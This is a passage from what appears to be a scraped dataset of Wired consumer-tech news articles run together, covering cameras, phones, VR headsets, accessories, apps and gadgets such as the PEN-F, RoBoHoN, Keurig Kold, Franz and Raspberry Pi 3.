20fps, has a lightning-fast autofocus system, boasts shutter speeds up to 1/16,000 of a second, and shoots RAW. Video capture tops out 1080p at 60fps, although you're able to record time-lapse video in 4K at 5fps. For sure, the most compelling thing about this camera is its body. There's a distinct dial on the front that lets you toggle between monochrome, color, and filter effects. Up top, machined aluminum dials handle mode selections, shutter, and exposure compensation, while a heavy-duty scroll wheel on the back lets you dial everything in. This is also the first PEN camera with an eye-level viewfinder; the others only have a live-view LCD screen. And it's no half-assed EVF, as its OLED display has 2.36 million dots of resolution. But there's still a 3-inch flip-and swivel touchscreen on board, and like most cameras these days, Wi-Fi connectivity is built in. Those OMD-level specs in a PEN body come with a price to match, and you'll have to wait about a month to start shooting with it. The PEN-F will be available in early March, priced at $1,200 for the body only. It's compatible with Micro Four-Thirds system lenses-which have a bigger-than-most crop factor of 2x. Your phone is disgusting. I'm sorry, but it's true. It's covered in germs and... well, and worse . It also stays dirty, because you never clean it, because doing so would ruin it. Tricky situation! Tricky and gross. It's something that the Kyocera Digno Rafre looks to remedy. The Digno Rafre, available in Japan, has pretty basic specs for a smartphone; it starts at 16GB storage, has 2GB RAM, a 13MP rear and 2MP front-facing camera. It runs Android 5.1. None of that's enough to turn heads. For neat freaks, though, or those nonplussed by the thought of carrying around millions of bacteria in their pocket every day, it has one crucial advantage: you can wash it with soap. That's more impressive than it may sound. It's hard enough to find a waterproof smartphone today, and until now impossible to find one that can survive the rigors of a rigorous good scrubbing. In fact, even the Digno Rafre has its limits; Kyocera encourages the use of foam-based soap, rather than potentially injurious bars. Kyocera reportedly managed the feat by finding a better way to seal the device. The Digno Rafre's display also works when wet, meaning it may be the first handset targeted specifically at the bubble bath set. The phone's only available in Japan (for $467), and Kyocera has indicated they don't plan to sell it elsewhere. Until they change their minds-or someone else offers a washproof smartphone stateside-you can always opt for constantly wearing gloves, or obsessively washing your hands. Starting today, you can preorder the consumer version of the Gear VR headset for $99. Sure, Samsung's headset has been around for awhile, at least for developers and lucky beta testers who got their hands on the Innovator Edition. But this is the first time the Oculus Rift-powered headset has been sold to regular consumers. The devices will ship November 20. This isn't just some new packaging slapped on the earlier model: According to Oculus , the official Gear VR headset is 19 percent lighter and ""features improved ergonomics,"" like a new touchpad that should make it easier to use. The best news: Gear VR is going to work with more Samsung phones, and there are lots of new games to use it with. If you have a Galaxy S6 Edge, S6, Note 5, or S6 Edge+, you're in the clear (though the last two will require a carrier software update). And perhaps the most exciting new title on the horizon is , a visually stunning game set in an ancient civilization from the makers of Monument Valley . The Gear is just one of a few compelling VR headsets, but it's managed to situate itself nicely for user adoption by aggressively partnering with various media outlets to experiment with consumer VR experiences. Already we've watched NBA games and political debates. Oh yeah, and it's just under 100 bucks. You can order the Gear headset now on Amazon , Best Buy , or from Samsung . We've all done the ""pocket pat down"" to check we have our phones and wallets before leaving the house. But even if you remember to bring your phone with you, it'll be dead weight if you forget to charge it. Sure, you could always bring a spare charger in your bag, but if you like to go out with only the clothes on your back you know that pocket space is a limited resource. Nomad 's new Wallet for iPhone might be able to help all the bagless chumps out. As its name suggests, the Wallet is a battery pack for your iPhone-but it's no bulky charger: It's no thicker than a standard billfold wallet. It measures in at 95mm (height) x 125mm (width) x 25mm (max thickness), so feel free to stuff it with your disposable income and those fro-yo stamp cards. Nomad was able to keep these dimensions by placing the skinny, yet high powered, 2400 mAh battery along the spine of the Wallet. That's enough juice to fully charge an iPhone 6s. When the Wallet's battery is depleted, it can be recharged by any microUSB charger. Flashing indicator lights will tell you how much energy is stored in the Wallet, and when you are ready to connect it to your iPhone, you can un-sheath its built in Lightning cable. Considering that it can hold all these electronics, your cash, and your cards without looking like a lunchbox, that's some serious space optimization. The Wallet for iPhone can be pre-ordered now for $80 ($20 off retail), and is expected to ship November 15. Love the gaming style of arcades but the physicality of, you know, actually moving? This hack turns indoor rock climbing into a real life video game of sorts-and the creator of the code is working with various rock climbing gyms to bring it to their facilities. Maybe it will hit your local rock wall soon. I've watched the teaser video for the RoBoHoN a few times now, and I still don't know what to make of it. Sharp, who made it, calls it ""a phone in human shape, a phone that you feel like talking to."" The name itself is a wonky portmanteau of robot and phone. It can be held up next to your ear just like any other phone. Unlike any other phone, though, it is also a talking robot helper projector music toy assistant man. Sure! In the three-minute video, the RoBoHoN plays all sorts of roles. It waves happily at you when your alarm goes off, sits on your car dash, remembers to buy you more toothpaste in a squeaky anime voice, and then bends over at the waist to point its built-in projector at a table to show you photos from your boyfriend while he tells you how much he loves you while you cry, apparently? You can dress RoBoHoN up in a bunch of different accessories, including Swarovski crystals. He's mostly designed to be talked to, but he has a touchscreen on his back in case you need to touch him. On one hand, this is definitely the worst phone ever. You wear it by a lanyard around your neck, the screen is small and bad, and I mean, come on, the thing is huge and unwieldy and you look like you're holding a toy to your face. But the robot? The robot seems pretty great. RoBoHoN uses facial recognition to tell individual people to smile for the camera. He (I think it's a he? I've been saying ""he"" but it's entirely possible that RoBoHoN exists outside of gender) will help you remember to do stuff; he'll help your kid learn to walk; he'll play music and literally lead the dance party. He can sit, walk, hail cabs, and do a thousand other crazy things. The concept video looks like an out-there student film, or a live-action cut of something Pixar might be working on. But Sharp swears RoBoHoN is a real thing, set for launch next year. In the inevitable army of the robot takeover, this is the one that eats your smartphone. And dammit if it's not just the cutest little everything machine. There's absolutely no reason that your every day computer shouldn't look like an F-22 cockpit simulation. That seems to be the logic behind HP's new 34-inch Curved All-in-One, an impossibly long display that can comfortably accommodate more tabs than is healthy. The shape's not new to HP; the company already sells a 34-inch display that looks basically identical. The resolution isn't as eye-popping as, say, a 5K iMac, but a 5K iMac doesn't curve, or cover nearly three feet of ground, diagonally. Now, though, HP has stuffed a computer inside that display, in a glorious act of why not? Inside, you'll find substantial enough guts: The $1,799 base model comes with the latest Core i5 processor and 8GB of memory, and you can upgrade to as much as 2TB of storage, 16GB RAM, and a discrete Nvidia GTX 960A graphics card. All of which is to say it'll do pretty much whatever you might need it to. Most importantly, though, it is gigantic; a multi-monitor set-up that requires just one glorious monitor. It's even, one might venture, innovative, at a time that the PC industry desperately needs innovation . It'll be available Nov. 8, and while it's obviously intended for those with specific needs and muscular budget, the rest of us can at least appreciate a heaping desktop helping of eye candy when we see it. Keurig Kold, a countertop soda-making machine that Keurig hopes will expand its appeal beyond coffee. Keurig, best known for its pod-based, countertop coffee dispensers, is branching out. The new Keurig Kold provides a chilled counterpoint to the company's previous models, serving up sodas from name-brand pod providers like Coca-Cola and Snapple. If that sounds a bit like SodaStream, that's because it is, although there are a few key differences. The most important of which, for those who've grown weary of carbon dioxide refills, is that Kold uses ""Karbonator beads"" embedded in its pods to generate CO2. That means no canisters, and no confusion over just how many bubbles to add. That also means the Kold should be equally adept at non-carbonated beverages, including teas, sports drinks, and flavored water; in addition to its partners, Keurig will be offering its own brands in those categories. Regardless of fizz, as you'd expect from the name, the drinks also come out, well, cold, thanks to what Keurig describes as an ""aerospace-inspired thermal transfer system."" While it's hitting shelves today-or more specifically, hitting Keurig's retail website; it will roll out to stores in select cities later this month-Kold made its debut at an analyst conference this past March, and has been in development the past five years. The long rollout signifies just how important Kold is to Keurig; the company's currently trading at about a third of its 52-week high due to quickly fading sales of its K-Cup-based coffee products, a decline that led the company to announce a 5 percent workforce reduction in August. Kold represents its best chance at a pick-me-up. Then again, Kold's most obvious competition, SodaStream, has been in an extended sales free fall, calling into question whether there's currently a significant market for home carbonation machines in the first place. The device faces other challenges, as well. A coffee pod's prime appeal is ease of use; it's obviously faster and less fussy than parsing out grinds for a traditional drip coffee maker. Making that same case for Kold could be tricky, since it's competing against the simple act of popping the tab on a can, or twisting the top of a bottle. And whatever convenience it does offer doesn't come cheap; Kold comes with an MSRP of $370, with pods costing between $4.50 and $5.00 for a pack of four. Each pod produces a single 8-ounce drink, making your countertop cola more expensive than the grocery store equivalent even before the sunk cost of the machine itself. Push-button drink production has a demonstrable appeal; whether that translates from hot to cold depends on one's counter space, pod appeal, and single-serve obsession. The tablet industry is still going strong, but if we can take away anything from the Microsoft Surface and iPad Pro releases, it's that some people really want keyboards to go with their tablets. Built-in touch screen keyboards simply aren't enough for writing anything longer than a text, and they take up valuable screen space. The thin screen-protector-like keyboards that Microsoft and Apple make are great for portability, but they don't offer the tactile feel that desktop keyboards do. If you want a keyboard that feels awesome (and isn't that portable) what better place to look for inspiration than a good old-fashion typewriter? The folks at Qwerkytoys have created the Qwerkywriter , a tablet keyboard that mimics the look and feel of a typewriter. Even though the Qwerkywriter looks old fashioned, there's plenty of modern tech baked inside. The keyboard pairs with devices via Bluetooth, so even though it has a dock that fits all sorts of tablets, it can be paired with smartphones or even desktop computers. Additionally, that macro return bar isn't just for show: By default, it doubles as an enter key, but can also be programmed to render up to five characters. The Qwerkywriter started as a Kickstarter campaign, but since it already met its goal of $90,000, you can pre-order it now for $329. The pre-orders won't ship out until October or November, but in the meantime you can listen to the satisfying clicks of the Qwerky's keys in action. The maximum load of a PhunkeeDuck-or any other brand of these suddenly popular stand-up scooter boards -is around 300 pounds. The maximum thing you should try to do on one of them is not to fall over. Somehow, personal trainer Bradley Martyn stepped onto one, stuck 315 pounds behind his neck (six 45-pound weights plus a 45-pound bar), and blasted some squats. Four reps, bro. On a spaceboard, bro. This is dangerous, and you should not ever try it. In fact, you can hear the stand-up scooter crack during the initial squat, and again during the fourth rep. Somehow, the contraption held together during the entire feat of strength and balance, and that wasn't the only danger to Martyn's safety. Fall backward, and risk a concussion from the back of your head smacking a solid steel bar. Fall forward, and risk your face being pinned to the floor by 315 pounds. So never attempt this superhuman show of agility, even if you look like He-Man. Still, feel free to watch it repeatedly on the Internet to your heart's desire. Logitech G is launching two new gaming headphones: the G633 and G933 Artemis Spectrum. They are the result of Logitech's sound engineering team's attempt to create a gaming headset that delivers audio comparable to top-shelf headphones. With patent pending Pro-G audio drivers and 7.1 Dolby surround sound, these headphones aim to immerse you into the game. The two headphones look similar, with the G933 as the beefier big brother. The G933 includes a few more features than the G633, such as the ability to operate wirelessly and an additional audio input for sound mixing. But you'll have to pay a little bit more to get these extras, as the G933 costs $200 versus the G633's $150 price tag. Regardless, the two both offer some cool customizable features. By downloading the Logitech Gaming Software, you are able to assign game macro functions to the headset's three programmable G-keys. Additionally, you can use the software to adjust equalizer settings and set up sound profiles that best fit your acoustic preferences. On the other hand, some customizable features are just for fun, like the ability to change the RGB lighting to any color of your choosing. Look out for the Logitech G633 and G933 Artemis Spectrum in October 2015. While your smartphone is an easy conduit for all-emoji conversation, things get a little tough when you find yourself at a regular old laptop. Sure, keyboard shortcuts can get you there, but PC-made discussion is still dominated by... you know, words. Until now! Emoji Key is a set of stickers you can throw on top of your lettered keyboard. Then you just have to install the emoji keyboard on your laptop (the site includes instructions), and boom: You are typing in nothing but emoji. And yes, this would probably get confusing eventually. In Samsung's never-ending quest to take on the iPhone, it's giving customers the chance to test drive one of its Galaxy phones (the S6 Edge, S6 Edge+, or Note 5) for 30 days for the low, low price of $1. If you're an iPhone user who's curious about the competition, now is the time to question your allegiance. You'll get a month's worth of data, and since it's not like you have to hand your iPhone over to Samsung, you've essentially got two phones for a month. For a data hog, that's not a bad deal. Really, this should have become a standard a long time ago. According to Reuters , this surfer shelled out $390 to attach a device to his board that emits ""an electronic force field that overpowers [sharks'] sensing organs."" Sounds like the best $390 he ever spent. There are couple of retailers installing these devices, including SurfSafe and SharkShield -check out this video from the former showing you how its done.",en
1461954702,CONTENT REMOVED,-456574518348806233,-1443636648652872475,-7777675406803857155,,,,HTML,http://www.wired.com/2016/04/franz-messenger-app/,A Single App That'll Wrangle Your Millions of Messengers,"Way back in the Mesozoic Era of the Internet, which was approximately 2009, maintaining your status as an Internet Socialite required a deft understanding of a multi-faceted messaging ecosystem. You obviously had to be logged into AIM, with just the right away message that told your real friends you were still nearby (and you better not skimp on your buddy profile). But you couldn't ignore your MySpace IM or Yahoo Messenger, just in case your maybe-real Internet crushes wanted to chat. And you gotta keep up your nerd cred on IRC. Being popular was hard work! Franz is a free app that combines more than a dozen different messaging services into a single window. Now, though, technology has become more sophisticated and user-friendly. And as messaging has become a key component of how we do almost everything online, our interaction with chat is easy and understandable part of our everyday lives. Wait, no, that's wrong. It's the exact opposite. Messaging is more important, more powerful, and more versatile, and yet wrangling all of our constant conversations together is like herding cats. Except there are a thousand cats, and they're all rabid and loud and running in every direction as fast as they possibly can while meowing horribly offensive things about all the other cats and giving you really important work deadlines. It's not a pretty picture. Years ago, apps like Adium, Meebo, and Trillian quickly became a crucial part of every Internet Socialite's arsenal. All your accounts in one place, neatly organized, so you could remember who's who and what's where at all times. There's nothing like that now, and there really couldn't be; messaging apps are more than just text-sending protocols, they're entire platforms. Every platform is different, and there's no way to neatly combine them. The best we can hope for is to at least bring all those disparate things into one place, which is exactly what Franz does. Franz is a new-ish free app for Mac, Windows, and Linux, that combines more than a dozen different messaging services into a single window. When you open Franz, you can instantly be logged into Slack, WhatsApp, Facebook Messenger, Telegram, Skype, Hangouts, and more. The app itself is just a container-you're basically opening web views of all the apps, tabbed in a single lovely window. By combining them into one place, though, you get a single set of notifications for all your services. A little red ""1"" will show up next to anything with an unread message, so you know at a glance what's waiting for you. And best of all, you're not stuck switching between a dozen browser tabs or a folder full of apps. Even though you don't, it feels like you have just one messaging app. It's just Franz. Franz isn't a perfect, universal messaging solution. It's not Adium 2.0. But it's the closest thing we're probably ever going to get. As the messaging ecosystem metastasizes and becomes the universal interface for how we do everything, easy access to our many tools is much more realistic than trying to build a single Megazord Messenger that encompasses them all. And besides, this might be better anyway. You get Slack the way it's meant to be used, and with a single key command you're jumping into Facebook's most complete vision of Messenger. Until we get that universal messaging app that would make life so much easier, this is definitely the next best thing. If you bought a Sony or Sharp TV from the past couple of years and you have an iPhone, you've got yourself a new way to navigate your smartwares. At long last, Google's Android TV Remote app is now available in the iOS App Store. It replicates the functionality of the same app for Android , which has been available for years. The most useful function of the app is its double-duty microphone/keyboard feature The remote-control app for Android TV devices isn't all that full-featured-it's essentially just an app version of the plastic remote included with the Google Nexus Player . Regardless, it's a handy backup clicker or a back-from-the-dead use case for an old iPod Touch. You've got your D-pad for navigating menus. Got that home button right there, too. Back button? Check. Even has an icon on there for a-playin' and a-pausin', and you can turn the whole screen into a touchpad like some kind of weirdo. But the most useful function of the app is its double-duty microphone/keyboard feature. You can use your phone as a mouthpiece for Android TV's excellent voice search (hopefully Siri won't get jealous). The app one-ups the Nexus remote by letting you input text with your phone's touchscreen keyboard. Plus, it communicates to your TV or set-top device over Wi-Fi, so you don't need a line-of-sight connection. And yo, it's free. This week at the NAB Show , the annual trade show for people who make video content, virtual reality is going to be everywhere. Condition One , a startup-slash-studio that was earlier to VR filmmaking than most, is making one of the show's early announcements: a new VR camera called the Bison. This 360 rig is made for the kind of run-and-gun documentary shooting the company's known for. Or at least the closest you can get to that given the current state of VR tech. It won't be for sale, but it will be part of the company's toolkit as it continues to make VR movies-so if you want footage from the camera, you have to hire Condition One to shoot it. Here's the rundown on the camera itself: The Bison is named for the first thing Condition One founder Danfung Dennis shot with the initial prototype. It's comprised of 16 cameras, and all together they're capable of shooting full 360-degree video with full 3D audio. It'll produce 5.7K resolution video, at up to 48 frames per second, for up to two hours on one battery charge. It's made of a rugged aluminum, and has an intense cooling system to keep it running even in the hot sun. Even the tripod is made of carbon fiber, so you can't destroy this thing if you try. The camera's minimum focusing distance is two feet, which makes Dennis particularly proud. ""We've been really focused on creating presence in the near field,"" he says. ""To have subjects within your arm's reach, to have close subjects to you... You really feel presence."" The Bison falls somewhere in the middle of the VR camera field, such as it exists right now. There are solutions like HypeVR , which amounts to an impossibly expensive and cumbersome set of super-high-end RED cameras rigged together for VR. Google has Jump , GoPro has Odyssey , Facebook has Surround 360 . (Bison, by the way, is probably closer to Surround 360 than any other single product.) They're all big, expensive, and mostly made of a bunch of individual cameras stitched together. On the other side are the super-simple 360 cameras, like the Ricoh Theta . Those aren't pro cameras by any stretch. Condition One seems to intend the Bison to be sort of the DSLR for VR; it's more compact and easier to use, but absolutely capable of making something Oscar-worthy. Part of Condition One's journey has involved learning what works, and what doesn't, in virtual reality filmmaking. Before getting into VR, Dennis was a longtime war photographer, so he tends to like to run and gun. But moving around is not exactly a delightful viewing experience in VR-it's more likely to make you sick. So even if it were possible (and it really isn't), it wouldn't make a lot of sense to try and make a shoulder-mounted or hand-held VR camera. But the Bison's close, at only 12.5 pounds. More important, it's rugged enough to go the places you'll want to put it; Dennis has watched as bison, jaguars, and (in a less-frightening shoot) monarch butterflies inspected the camera while he watched from afar. The remote trigger works from a half-mile away, too, so you can keep yourself out of your spherical shot and still get the footage you need. As they worked, Dennis says, they found that the hardest part wasn't the shooting-it was the stitching. Taking a bunch of cameras, and putting all their images together in a way that looks right, is hard and intensive work. The best solutions will make everything seamless, literally and figuratively, and making their own hardware made it easier to build the necessary software too. Now they're trying to figure out what kinds of VR movies people want to watch. And where to put them so people can see them. And how to make money. Right now, in VR, if you solve one problem all you get is a hundred new ones to figure out. More than just about anything you own, your smartphone represents you. Your photos, your communications, your work, your leisure activities, your nudes, everything's in this one rectangular piece of metal and glass. You smartphone, therefore you are. Google is pushing the boundaries of what a case can do to and with your phone, and is obviously committed to a deep sense of personalization and identity with phones. As our phones come to contain our personalities, a good case becomes all the more important. Not only does it keep your phone from shattering on the sidewalk and taking all your memories and plans with it, it turns your phone into something that looks and feels more unique. More personal. More you. Google's taking the idea even further, introducing a new Live Case Creator tool that lets you turn a point on a map or a photo into a phone case you can slap on the back of your Nexus 6 , 6P , or 5X . You go to the creator website, and upload a photo or use the Google Maps interface to select a location. Then, position it on the case however you want, select among Google's many filters, which add color or transmogrify your photo into an abstract art piece. Confirm it, buy it, and Google prints and ships you a case of your very own. Maybe coolest of all, these Live Cases skin the wallpaper of your phone to match your new case. If you go with the map, you can turn your wallpaper into a similarly colored, moving map of where you are right now. If you choose a picture, you can make an album of other shots for your phone to style and switch between automatically. There's also a button on the back of each case that will launch your phone's camera (if you choose a photo case) or find you nearby places in Maps (if you pick a location). Google first hinted at plans like this when it worked with Skrillex on a handful of customized phone cases. Googlers say they were blown away by the response to that project, and that people wanted more. The company's pushing the boundaries of what a case can do to and with your phone, and is obviously committed to a deep sense of personalization and identity with phones. It's always been part of Google's vision for Android, right down to the tagline: be together. Not the same. Maybe before long picking a phone case won't be like choosing clothes from the rack, finding the garment that fits you most closely. It'll be more like making your own clothes, and getting it exactly right. If the rumors are correct, Apple is bringing back a smaller iPhone . This makes sense. There's no such thing as a one-size-fits-all smartphone or even a two-sizes-fit-all smartphone. Some people want a phone that fits in the pocket of their skinny jeans. Other people have larger-sized skinny jeans. A third group of slacks-wearing people want a phone the size of a skateboard deck. The same idea holds true for almost everything. Some people want big versions of things that are supposed to be small. Others want small versions of things that are supposed to be big. All of this is possible. On my desk right now, there's an oversized pencil, an undersized building, a miniature hockey player with a disproportionately large hockey stick, and a ""King Size"" Sharpie. Here is a photograph of these objects taken with my phone, which is the size of a skateboard deck: More often than not, things that aren't their appropriate size are whimsical and fun . On occasion, they're even thought-provoking. Examining an object that isn't normal-size lets you appreciate its form or design detached from its function. This will help you forget about taxes for a little while. Alas, acquiring miniature and oversized objects isn't as easy as walking into a store and heading to the ""giant"" or ""tiny"" section. Luckily, there are dedicated online outlets for each of these retail needs. For things that are smaller than normal size , perusing the digital aisles of Archie McPhee, Suck UK, and ThinkGeek is a good place to start. McPhee has items such as squirrel-size coffee cups and underpants , a functional miniature drum kit , and a tabletop ark of the covenant . Suck UK has you covered on the guitar-case lunchbox and planet-themed eraser fronts. ThinkGeek is the place to go if you want a miniature filing cabinet for your business cards or a tiny, functional Tesla coil . But those are all readymade products. If you want to create your own miniature projects, cruise by Mini Materials . It's like a Home Depot on the island of Blefuscu : miniature cinder blocks, shipping pallets, bricks, and two-by-fours. There are also tiny packets of concrete mix and minuscule buckets of mortar. For things that are larger than normal size , Archie McPhee is also a handy source, with things like giant googly eyes , a coffee cup that holds around two gallons , and a gigantic slice of toast you can sleep on. But again, if you want oversized stuff, it's best to go to an oversized-stuff specialist. GreatBigStuff.com is the titan of the market, offering mission-critical objects such as plus-size Whoopee Cushions , a flask that holds a gallon of whisky , a giant functional computer mouse , and a massive (and edible) Ferrero-Rocher candy . You can also buy a large stack of fake cash to use as a foot rest and an unlimited supply of oxygen for $1 . For things that are actual size , try all other stores. What if you could play a videogame with a banana? Or a drum machine with a burrito? MaKey MaKey lets you do exactly that-and more. MaKey Makey turns everyday objects into digital touchpads for your computer. Jay Silver and Eric Rosenbaum designed it while they were in grad school at MIT. Inspired by the maker movement, they wanted to create an open-ended way of getting people to think creatively about how kids interact with our increasingly networked world. The result is a clever kit that makes a controller of literally anything that conducts electricity. ""Makey Makey is a device for allowing people to plug the real world into their computers,"" said David Ten Have of JoyLabz, which produces the kit. ""We want people to be able to see the world as their construction kit. And basically the way MaKey MaKey works is that it pretends to be a USB keyboard."" Each kit comes with a circuit board-the heart of the kit-a set of alligator clips, and a USB cable that plugs into your computer. The USB provides power to the circuit board, and the alligator clips link the board to any object that conducts electricity. Turns out, a lot of things conduct electricity. Food. Plants. Play-Doh. Even you.""We were shooting for creating a product that had an incredibly low floor for participation, but an incredibly high ceiling for expression,"" said Ten Have. ""We're seeing things made as simple as a banana piano and as advanced as measuring tools for chemistry labs, for instance."" The possibilities seem endless. Kids can turn their art into an instrument. Connect the alligator clips to people's hands to make a human drum machine. People have transformed a trash can into a calculator and a slice of pizza into a game controller. Your garbage can is full of new controllers . Fresh air can be harder to come by than you might think. If you have pets or you live in a city or it's cold outside, you are almost certainly breathing air that is full of contaminants that can make you sick, and even trigger asthma and allergies. You can't do much about the air you breathe at work or on the train, but you can control the air inside your home. The problem is that most air purifiers are ugly, loud, and some even omit ozone-which can be a serious lung irritant. Airmega tackles all of those problems with the Smart Air Purifier , which is (reasonably) attractive, quiet, and doesn't spew toxins. It's also a smart appliance that's actually smart. The Airmega keeps you abreast of the air quality in your place, and an app (of course it's got an app) lets you know if the air's gotten funky while you're on the road. If so, simply activate it remotely and come home to fresh air. A handy automatic mode lets the purifier turn itself on whenever the air gets stale, and an eco-friendly mode shuts it off after 10 minutes. The machine has filters on two sides, so it inhales more bad air and exhales more good. This thing can renew the air in a 1,560 square foot space twice an hour. Airmega claims the carbon and HEPA filters remove 99.97 percent of the junk in the air, and the app (and a sensor on top of the device) tell you when it's time to change them. Airmega says they're good for a year. These things aren't cheap, though. The smaller model, the 300S, will cost $749 when it's available through Airmega and Amazon later this month. The larger 400S will run you $849. But then, how much are your lungs worth? A little over three years ago, the Popslate presented an intriguing idea: What if a case could turn the back of your phone into an E Ink display? Like a lot of first-generation, crowdsourced products, the original didn't quite live up to the promise. Popslate 2, though, looks like a very promising course correction. The original Popslate, which finally materialized last spring, worked as advertised. Its limitations, though, made it difficult to justify as an everyday case. It charged with a different cable than the iPhone 6 it was designed to fit, and at launch only displayed still images pushed from an app on the front of the phone. It eventually used IFTTT to prompt screen updates without manual intervention, but even that required a little bit more digital elbow grease-and a little less functionality-than might justify the added bulk and expense. Popslate 2 doesn't just promise to address these issues; it actively adds plenty of functionality as well. It's an evolution, not merely refinement. To start, Popslate 2 not only ditched microUSB for the Apple-preferred Lightning cable, the case itself provides a backup battery that can add up to nine hours of talk time (or four hours of browsing) to your iPhone. It manages to do so while still reducing the thickness versus the original Popslate by nearly half. The display itself has improved, as well. Still ""shatterproof,"" it's now 200 dpi versus the previous version's 115, and has a pleasant-looking curve to it. There's also an easy way to navigate the latest Popslate on the display itself. Three capacitive touch buttons at the bottom of the display let you switch between apps and scroll through content. More important than the hardware upgrades, though, are the software smarts Popslate has added. Rather than lean on static images and clumsy IFTTT integration, Popslate now pulls directly from a handful of useful apps to maintain a dynamic display. You still need to download and use the Popslate app to customize your black-and-white rear display, but your options have expanded. ""We are leveraging sources with APIs and pulling that content straight into the Popslate app,"" says co-founder Greg Moon. ""Planned integrations for launch are: NYT, Twitter, Accuweather, and Google Calendar. We are also putting together partnerships around sports and stocks, which likely will also be part of the launch."" Moon says the company determined what apps and areas to focus on based on people's IFTTT usage on the original Popslate. In addition to the news, weather, and social functions it has already has-and the sports and stocks to come-you can expect to see wearable and IoT data apps at some point as well. Popslate 2 also comes with a Wallet function that lets you display items with bar or QR codes, like boarding passes or concert tickets. That's not to say everything is perfect. While the ideal app might seem to be Kindle-reading E Ink beats reading on an LCD display any day-you won't find Amazon's e-reading software here. You can use Popslate 2 as an e-reader, but currently only through Project Gutenberg, a free e-book resource whose catalog features mostly public domain classics. While Moon wouldn't confirm if there were plans for Kindle down the road, he's confident that the e-book selection will expand. ""We are also in discussions with additional e-book providers,"" says Moon. ""Unfortunately we can't disclose the parties at present for confidentiality purposes. As a result, our e-book sources and supported formats (including EPUB) will expand substantially after launch."" The ""after launch"" part is the other small cause for concern. Like its forebear, Popslate 2 is a crowdfunded project. But while it's generally healthy to be skeptical of Indiegogo concepts, the fact that the Popslate team has already delivered once offers at least some confidence in the second generation. It's expected to ship this July, at a cost of $149 (or $69 for early backers). A second E Ink display isn't a new idea; a company called Yotaphone has even built one into the handset itself. But if Popslate 2 delivers the improvements it's promising, it will have made a pretty good product pretty great. Considering that the average smartphone user takes out their phone more than 220 times a day , you might want to invest in a nice case. Wood is generally prettier than plastic, and while there are a variety of wooden phone cases to choose from, most of them have some visible plastic or rubber that totally distracts from that outdoorsy vibe you're going for. Luckily, the Woodline case for iPhone 6 and 6s is made by Pad & Quill , has a 100 percent wooden exterior. OK, it's not all wood: Unless it was a quarter-inch thick, a totally wooden phone case would probably crack when dropped. The outer wooden shell is filled with Aramid fibers, the same stuff used on drumheads and jet engine enclosures. If you prefer keeping your phone in your pocket, the Woodline is ultra-thin so you can easily do so. Seriously: According to Pad & Quill, it's as thin as a dime, so it's definitely not going add any noticeable bulk. The cases are all handcrafted out of real wood, so each one looks different and is engraved by the carpenter who made it. The cases come in four different types of wood: American Cherry, Rosewood, Zebra, or American Walnut, so you can pick the grain that most suits your daily grind. The case is currently available for preorder and will begin shipping next week. Raspberry Pi, the computer that literally fits in the palm of your hand, isn't for everyone. It comes with circuitry exposed, without a case, input method, or, until now, much in the way of connectivity. With the addition of Wi-Fi and Bluetooth, though, Raspberry Pi 3 comes closer to a pocketable PC for everyone. The third generation of Raspberry Pi in its four years of existence, Raspberry Pi 3 integrates 802.11n Wi-Fi and Bluetooth 4.1. Previously, you had to employ some dongle magic to add that functionality. The only other big upgrade-there are, after all, only so many components to upgrade-is the processor. Where previously sat a 900MHz 32-bit, quad-core ARM Cortex-A7 CPU now sits a 1.2GHz 64-bit, quad-core ARM Cortex-A53 CPU. If those numbers mean nothing to you, just know that it's about 10x the performance of the original Raspberry Pi, and over 50 percent better than the previous iteration. Otherwise, the Pi remains largely the same. It's roughly the same size and shape as generations past, aside from some minor component shuffling to accommodate the antenna that allows for its newfound wireless connectivity. Most importantly, it's holding on to that $35 price. For the cost of a few decent deli sandwiches, you can still own a fully functional (and now, even more so) pint-sized computer. It's important, too, that Raspberry Pi keep building on its success. No shortage of micro-computer competitors have sprung up in the years since the original Pi's introduction, some of which, like the Arduino 101, have already either promised or delivered an advanced feature set. And for three or four times the price of a Pi 3, consumers can opt for a ""PC on a Stick"" dongle, like Lenovo's Ideacentre Stick or Intel's Compute Stick, that offers the convenience of a dongle form factor, and the ability to plug directly into a monitor. Nobody's done it better for longer, though, than the Raspberry Pi Foundation. It still takes a little bit of know-how to fit it into your life, but one of the best bargains in tech is even more so now. Today Oculus Rift unveiled three new VR-ready PCs that excited, ready-to-be-completely-immersed gamers can pre-order in one week. The new PC towers, from Dell, Alienware, and ASUS, are designed to handle the powerful new VR graphics, which take a massive amount of rendering power to bring games to life in your headset. To no one's surprise, they don't come cheap. Expect to pay between $1,000 and $2,500 for a Oculus Rift-ready PC-but if you were one of the enthusiasts that pre-ordered Rift, you may be eligible for a discount. And if you already own a super computer, there's a chance that it might already be Rift-friendly already. You can test with Oculus's compatibility tool , which you have to download so it can scan your system's current capabilities. A traditional 1080p game requires 124 million shaded pixels per second to render the visualizations. Oculus Rift's VR program needs about three times that rendering power. According to the company blog, a Rift runs at 2160x1200p on dual displays and requires somewhere in the range of 400 million shaded pixels per second. TL;DR, most computers are way too weak to run VR headsets. So what will people will be able to do with their new VR-ready PCs? Well considering Facebook acquired Oculus Rift for $2 billion dollars last year, and keeping in mind that the platform now counts over one billion users, the company is certainly poised to do big things. Oculus already boasts an impressive roster of immersive experiences, including porn , reading a book on a beach , or playing golf with robots . Keeping a journal is a pain in the ass. It's a scientifically-proven wonderful thing to do-to preserve your memories, explore your feelings, record the things you do and notice and care about-but it's a lot of work to sit down every day and get your Dear Diary on. Day One has always cleverly skirted that hassle by turning a journal entry into something more like a splits counter on a stopwatch. The app takes your location, motion data, and more, and turns it into a snapshot of your life at any time you choose. How you fill it out-or don't-with words, pictures, video, and whatever else, is then up to you. The app's been around for a few years for Mac and iPhone, but developer Bloom Built just released its first complete overhaul ever. The new Day One (insanely named Day One 2-yes, really) has a slicker design, a much bigger emphasis on photos, and a handful of new ways to filter your journal to see entries from a certain place or time or from a specific topic. You can even have multiple journals, in case you want to separate your obsessive cataloging of every book you read from your ""feelsy"" entries. The Mac app is a great browser for your old entries, and the iPhone app is well-tuned to make saving and creating those entries really easy. Just 3D-touch to start a new entry, snap or upload a photo, add a caption, and poof: You're a journaler. The app is also unusually good at giving you control over your privacy and data. You can set a passcode, and at any time export all your data to PDF or a plain text file. It's a lot more secure than hiding your journal underneath your mattress. Stomaching the price might be a little tough ($9.99 for the iPhone app, $39.99 for Mac, though if you buy right now it's half-off), but that's the hardest part. Everything else about keeping a journal will suddenly be a lot easier. More so than any kind of modern technology, digital cameras have pushed retro designs into the mainstream. Fujifilm , Nikon , Panasonic , and Olympus all have their own throwback shooters-and Leica 